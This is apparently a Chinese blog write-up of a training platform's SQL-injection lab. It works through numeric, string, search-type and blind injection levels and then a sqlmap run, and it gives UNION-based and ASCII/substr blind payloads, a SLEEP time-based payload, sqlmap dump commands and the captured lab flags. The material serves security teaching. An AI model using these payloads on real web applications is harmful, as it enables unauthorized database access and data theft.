当前位置:网站首页>零号培训平台课程-1、SQL注入基础
零号培训平台课程-1、SQL注入基础
2022-07-27 06:01:00 【大灬白】
需要知道的知识:
mysql中的information_schema 结构用来存储数据库系统信息
information_schema 结构中这几个表存储的信息,在注入中可以用到的几个表。
SCHEMATA :存储数据库名的,
——>关键字段:SCHEMA_NAME,表示数据库名称
TABLES :存储表名的
——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
——>关键字段:TABLE_NAME表示所属的表的名称
COLUMNS :存储字段名的
——>关键字段:COLUMN_NAME表示字段名
一、数字型注入
1、判断注入存在:and 1=1 and 1=2返回不同
2、猜测数据库
获取所有数据库名:
1 and 1=2 union select group_concat(schema_name) from information_schema.schemata;
information_schema,lession1,test
3、猜测数据库表:
获取"lession1"数据库的所有表名:
1 and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema=“lession1”
4、猜字段
1 and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema="lession1"and table_name=“flag”
5、获取flag :
1 and 1=2 union select group_concat(flag) from lession1.flag
得到flag:3347aeb7b48b6d8ca56025a3fc2fab9a
输入到输入框:
点击提交,通过就到了下一关:
二、字符型注入
1、判断注入存在: amin’and"1’=‘1 amin’and’1’=2返回不同
2、猜测数据库
admin1’ union select group_concat(schema_name) from information_schema.schemata%23;
得到information_schema,lession2,test
3、猜测数据库表︰
admin1%27union select group_concat(table_name) from information_schema.tables where table_schema=“lession2”%23
得到flag表
4、猜字段
admin2%27 union select group_concat(table_name) from information_schema.tables where table_schema=“lession2” and table_name=“flag”%23
字段名也叫flag
5、获取flag :
admin2%27union select group_concat(flag)%20from%20lession2.flag%23
得到flag:d467475c0b0ac1eb2a2d58a0bf204e0e
三、搜索型注入
1、判断注入存在:
admin%25%27and%201=2
admin%25%27and%201=1 --+返回不同
2、猜测数据库
admin1%25%27union select group_concat(schema_name) from information_schema.schemata%23
得到information_schema,lession3,test
3、猜测数据库表︰
admin1%25%27union select group_concat(table_name) from information_schema.tables where table_schema=“lession3”%23
得到flag表
4、猜字段
admin2%25%27union select group_concat(table_name) from information_schema.tables where table_schema=“lession3” and table_name=“flag”%23
字段名也叫flag
5、获取flag :
admin2%25%27union%20select%20group_concat(flag)%20from%20lession3.flag%23
得到flag:21fb2c6c87d00ae12f0fce84d64cf511
四、盲注型
1.二分计算数据库长度
id=1 and (select length(group_concat(schema_name)) from information_schema.schemata)=32

返回结果正常,证明数据库的长度
2.二分查找数据库名
id=1 and ascii(substr((select group_concat(schema_name) from information_schema.schemata),1,1))>105

返回结果错误,证明数据库名的第一个字母的ASCII码值没有大于105
3.二分查找表
id=1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="lession4"),1,1)) >105

返回结果错误,证明表名的第一个字母的ASCII码值没有大于105
4.二分查找表字段名
id=1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="lession4" and table_name="flag"),1,1))>105

返回结果错误,证明字段名的第一个字母的ASCII码值没有大于105
5.二分查找获得数据
id=1 and ascii(substr((select group_concat(flag) from lession4.flag),1,1))>105

返回结果错误,证明flag的第一个字母的ASCII码值没有大于105
6.盲注推荐使用工具-sqlmap
–batch 批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值。
–dbs 目标服务器中有什么数据库,常用,直接用–dbs
–current-user 当前用户,常用,直接用–current-user
–current-db 当前数据库,常用,直接用–current-db
–tables 目标数据库有什么表,常用,直接用–tables
–columns 目标表中有什么列,常用,直接用–colums
–schema 目标数据库数据库系统管理模式。
–search 搜索列、表和/或数据库名称。
-D DB 指定从某个数据库查询数据,常用。例: -D admindb
-T TBL 指定从某个表查询数据,常用。例: -T admintable
-C COL 指定从某个列查询数据,常用。例: -C username
得到完整的请求数据包:
保存为linghao.txt
py -2 sqlmap.py -r linghao.txt --batch

发现参数id有基于时间的盲注,MySQL >= 5.0.12和基于时间的盲注,
有效载荷:id=1 AND SLEEP(5)
后端数据库是MySQL,web服务器操作系统:Linux Ubuntu,web应用技术:PHP 5.5.9, Nginx 1.16.1
py -2 sqlmap.py -r linghao.txt --dbs

Sqlmap也是通过ASCII码一个一个字母盲注出来的,一共有3个数据,找到目标数据库lession4
py -2 sqlmap.py -r linghao.txt -D lession4 --tables
找到数据表名flag
py -2 sqlmap.py -r linghao.txt -D lession4 -T flag --dump

得到flag:0dc8b42164407fc640c86b48d5ec9bf0
提交flag:
得到最终flag:3347aeb7b48b6d8ca56025a3fc2fab9ad467475c0b0ac1eb2a2d58a0bf204e0e21fb2c6c87d00ae12f0fce84d64cf5110dc8b42164407fc640c86b48d5ec9bf0
边栏推荐
- Music website management system based on SSM
- TS learning (VIII): classes in TS
- adb指令整理
- “蔚来杯“2022牛客暑期多校训练营1
- 基于SSM医院预约管理系统
- Cass11.0.0.4 for autocad2010-2023 dog free usage
- MySQL index failure and solution practice
- 美联储SR 11-7:模型风险管理指南(Guidance on Model Risk Management)-万字收藏
- Digital image processing -- Chapter 3 gray scale transformation and spatial filtering
- Peptide nucleic acid oligomer containing azobenzene monomer (nh2-tnt4, n-pnas) Qiyue biological customization
猜你喜欢

Reasoning speed of model

Gbase 8C product introduction

内部类--看这篇就懂啦~

Consideration on how the covariance of Kalman filter affects the tracking effect of deepsort

pytorch笔记:TD3

Book borrowing management system based on SSM

Summary of APP launch in vivo application market

A Competitive Swarm Optimizer for Large Scale Optimization

Reflection on pytorch back propagation

DNA modified zinc oxide | DNA modified gold nanoparticles | DNA coupled modified carbon nanomaterials
随机推荐
Campus news release management system based on SSM
C4D动画如何提交云渲染农场快速渲染?
word-wrap:break-word 换行在各浏览器兼容的问题
Watermelon book learning Chapter 5 --- neural network
Image super-resolution evaluation index
高级IO提纲
"Weilai Cup" 2022 Niuke summer multi school training camp 1
Student achievement management system based on SSM
Go obtains the processing results of goroutine through channel
MySQL index failure and solution practice
PNA peptide nucleic acid modified peptide suc Tyr Leu Val PNA | suc ala Pro Phe PNA 11
算法--斐波那契数列(Kotlin)
Bert and RESNET can also be trained on mobile phones?!
R2LIVE代码学习记录(3):对雷达特征提取
Basic statement of MySQL (1) - add, delete, modify and query
把Excel转换成CSV/CSV UTF-8
ZnS DNA QDs near infrared zinc sulfide ZnS quantum dots modified deoxyribonucleic acid dna|dna modified ZnS quantum dots
如何借助自动化工具落地DevOps|含低代码与DevOps应用实践
端口转发小结
二叉树--天然的查找语义(1)基础篇